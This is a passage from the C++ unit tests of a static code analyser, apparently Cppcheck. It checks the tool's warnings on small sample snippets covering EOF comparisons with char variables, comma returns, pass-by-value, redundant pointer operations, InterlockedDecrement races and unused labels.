a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n 